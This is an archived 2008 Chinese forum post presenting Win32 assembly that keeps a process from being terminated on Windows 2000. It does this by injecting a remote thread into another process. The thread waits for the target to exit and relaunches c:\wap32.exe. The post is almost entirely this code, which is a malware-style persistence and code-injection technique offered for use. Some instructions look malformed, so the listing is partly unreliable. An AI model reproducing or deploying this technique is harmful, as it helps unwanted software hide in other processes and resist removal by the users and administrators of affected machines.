江西广告网
标题:
Win2k下进程不死术
[打印本页]
作者:
life
时间:
2008-12-17 13:33
标题:
Win2k下进程不死术
此段程序采用公开的 Win2k注射远程线程,来保护指定进程始终处于运行状态。 生成wap32.exe拷贝到c:\下运行,则Wap32进程不死。 include Win32.inc .386 .model flat,stdcall .data Protect2kProc proc ProcID: dword call GetKnlOpenProcess KnlOpenProcess dd ? GetKnlOpenProcess: pop eax call [eax],PROCESS_ALL_ACCESS,FALSE,ProcID or eax,eax jz short ExitProtectProc mov ebx,eax call GetKnlWaitForSingleObject KnlWaitForSingleObject dd ? GetKnlWaitForSingleObject: pop eax call [eax],ebx,-1h call GetFileNameAddress GetFileNameAddress: pop ecx add ecx,offset FileName-offset GetFileNameAddress call GetKnlWinExec KnlWinExec dd ? GetKnlWinExec: pop eax call [eax],ecx,01 ExitProtectProc: ret Protect2kProc endp FileName db 'c:\wap32.exe',0 KnlOpenProcessStr db 'OpenProcess',0 KnlWaitForObjectStr db 'WaitForSingleObject',0 KnlWinExecStr db 'WinExec',0 .code extrn GetProcAddress: proc extrn OpenProcess: proc extrn FindWindowA: proc extrn GetWindowThreadProcessId: proc extrn VirtualAllocEx: proc extrn VirtualFreeEx: proc extrn WriteProcessMemory: proc extrn GetCurrentProcessId: proc extrn CreateRemoteThread: proc extrn GetExitCodeThread: proc extrn CloseHandle: proc extrn WinExec: proc extrn MessageBoxA: proc extrn Sleep: proc Start: call GetProcAddress,077e60000h,offset KnlOpenProcessStr mov KnlOpenProcess,eax call GetProcAddress,077e60000h,offset KnlWaitForObjectStr mov KnlWaitForSingleObject,eax call GetProcAddress,077e60000h,offset KnlWinExecStr mov KnlWinExec,eax call FindWindowA,0,0 push eax call GetWindowThreadProcessId,eax,esp call OpenProcess,PROCESS_ALL_ACCESS,FALSE or eax,eax jz short OpenProcessError mov ebx,eax call VirtualAllocEx,ebx,NULL,1000h,MEM_COMMIT,L 40h or eax,eax jz short OpenProcessError mov edi,eax push eax call WriteProcessMemory,ebx,edi,OFF Protect2kProc,1000h,esp call GetCurrentProcessId call CreateRemoteThread,ebx,NULL,NULL,edi,eax,NULL,esp call GetExitCodeThread,eax,esp pop eax ;call VirtualFreeEx,ebx,edi,1000h,MEM_DECOMMIT call CloseHandle,ebx call Sleep,100h call MessageBoxA,0,offset FileName,offset FileName,0 OpenProcessError: ret end Start <
欢迎光临 江西广告网 (http://bbs.jxadw.com/)
Powered by Discuz! X3.2